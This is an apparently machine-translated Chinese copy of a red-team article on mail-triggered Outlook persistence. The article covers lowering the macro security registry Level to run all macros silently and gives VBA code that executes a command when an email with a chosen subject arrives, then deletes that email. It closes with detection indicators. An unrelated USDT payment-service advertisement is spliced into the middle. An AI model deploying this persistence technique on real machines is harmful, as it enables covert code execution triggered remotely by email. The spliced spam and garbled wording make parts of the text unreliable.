0x00 概述
使用低权限用户在用户空间确立持久化的手艺往往异常有价值,由于这样的场景远远多于权限提升的场景。因此,我们连续研究了一些未被普遍纪录、可能不会被蓝队监测到的新手艺。在去年,我们揭晓过3篇持久化相关的文章,而在这篇文章中,我们继续讨论持久化手艺,重点剖析我们近期发现的Outlook持久化手艺。到目前为止,这项手艺还没有被太多的蓝队所关注。
此前,已经有多位研究人员针对基于Outlook的持久化这个话题举行了研究,包罗Dave Hartley和Nick Landers,他们详细先容了若何使用Outlook规则来实现持久化。
在本文中,我们将重点先容使用Outlook的VbsProject.OTM文件来到达与之相近的效果。只管该手艺还没有撒播太广,但Cobalt Kitty此前已经将其用于下令和控制通道。
0x01 剖析
与大多数Microsoft Office产物套件一样,Outlook可以启用“开发人员”选项卡,并通过VB编辑器建立基于VBA的宏。我们打开编辑器,建立一个简朴的宏,可以找到一个名为“ThisOutlookSession”的Outlook特定模块。
在保留宏后,Outlook会在%APPDATA%\Roaming\Microsoft\Outlook目录下建立VbaProject.OTM文件。
然则,若是我们实验以默认设置来执行宏,会泛起失败提醒,由于默认设置被设定为“为有数字签名的宏提供通知,禁用所有其他宏”。
然则,我们可以通过使用以下值来建立Security注册表项,以修改这项设置。
在宏平安性设置中,Level值界说如下:
4 = 不提供通知,禁用所有宏
3 = 为有数字签名的宏提供通知,禁用所有其他宏
2 = 为所有宏提供通知
1 = 启用所有宏
要允许宏在不通知用户的情况下以隐藏方式运行,我们可能需要设置Level值为1,在操作时代启用所有宏。
检查VbaProject.OTM文件,我们发现它是尺度的Microsoft复合文档文件(CDF):
dmc@deathstar ~ file ~/VbaProject.OTM
,,菜包钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜包Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
VbaProject.OTM: Composite Document File V2 Document, Cannot read section info
使用oledump.py对其举行进一步剖析,可以发现其中包罗宏代码的OLE流:
dmc@deathstar ~ python oledump.py ~/VbaProject.OTM 1: 43 'OutlookProjectData' 2: 388 'OutlookVbaData/PROJECT' 3: 59 'OutlookVbaData/PROJECTwm' 4: M 6156 'OutlookVbaData/VBA/ThisOutlookSession' 5: 2663 'OutlookVbaData/VBA/_VBA_PROJECT' 6: 497 'OutlookVbaData/VBA/dir'
至此,我们现在知道了VbaProject.OTM是启用OLE宏的尺度文档,因此建立、混淆、消灭(Purging)、重载(Stomping)这些文件的传统工具和手艺仍然适用。当我们将其投递到磁盘上时,可能需要确保其静态平安性。
接下来,让我们来深入研究,若何将其作为武器化的持久化工具。
0x02 武器化
为了让VBA代码执行更有意义,代码需要作为事宜的效果来执行。ThisOutlookSession模块允许我们订阅Outlook中的多种差别事宜,这将导致有差别的机会来实现代码执行。
这里讨论的是持久化方式,可能会涉及到由用户驱动的某些事宜(例如:打开Outlook)或由攻击者决议的某些事宜(例如:吸收到特定邮件)。在这里,我们将重点讨论后者,并说明若何行使带有特定主题的邮件实现随便VBA执行。
为了确定何时收到新的邮件,我们可以通过在Outlook启动时首先订阅默认收件箱的事宜来实现,详细使用以下方式。首先,在注册事宜时,为默认收件箱文件夹(olInboxItems)设置变量。
Option Explicit Private WithEvents olInboxItems As Items Private Sub Application_Startup() Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items End Sub
然后,行使用户对收件箱的引用,我们可以借助“ItemAdd”回调函数在收到新邮件时吸收事宜:
Private Sub olInboxItems_ItemAdd(ByVal Item As Object) End Sub
详细而言,我们只对吸收到的电子邮件感兴趣,因此可以对回调再做一下优化,使其仅在吸收到新邮件时触发。可以通过验证条目,确认其类型是否为“MailItem”来实现这一点。
Private Sub olInboxItems_ItemAdd(ByVal Item As Object) If TypeOf Item Is MailItem Then MsgBox "You have mail" End If End Sub
固然,我们不想每收到一封邮件就执行一次,因此可以使用特定的条件判断,包罗发件人地址、主题、正文内容等过滤吸收到的邮件。在这里,对上述代码举行扩展,当收到特定主题(MailItem.Subject)的邮件时,执行代码,随后使用MailItem.Delete方式删除电子邮件。
Private Sub olInboxItems_ItemAdd(ByVal Item As Object) On Error Resume Next Dim olMailItem As MailItem If TypeOf Item Is MailItem Then If InStr(olMailItem.Subject, "MDSec") > 0 Then MsgBox "Hack The Planet" olMailItem.Delete End If End If Set Item = Nothing Set olMailItem = Nothing End Sub
将上述代码组合在一起,最终弹出计算器。
Option Explicit Private WithEvents olInboxItems As Items Private Sub Application_Startup() Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items End Sub Private Sub olInboxItems_ItemAdd(ByVal Item As Object) On Error Resume Next Dim olMailItem As MailItem If TypeOf Item Is MailItem Then If InStr(olMailItem.Subject, "MDSec") > 0 Then MsgBox "Hack The Planet" Shell "calc.exe" olMailItem.Delete End If End If Set Item = Nothing Set olMailItem = Nothing End Sub
演示视频:https://vimeo.com/482370663
弹出计算器只是观点证实,实际上可以行使武器化的方式天生一个Beacon,详细的实现方式留给列位读者实验。
演示视频:https://vimeo.com/482376266
0x03 检测
从终端平安的角度,可以通过以下两个要害指标检测该手艺:
1、监测%APPDATA%\Roaming\Microsoft\Outlook\VbaProject.OTM文件的建立、修改事宜(Sysmon事宜ID 11);
2、监测注册表HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security键和Level值的建立、修改事宜(Sysmon事宜ID 12)。
这篇文章由Dominic Chell撰写。
本文翻译自:https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/:
网友评论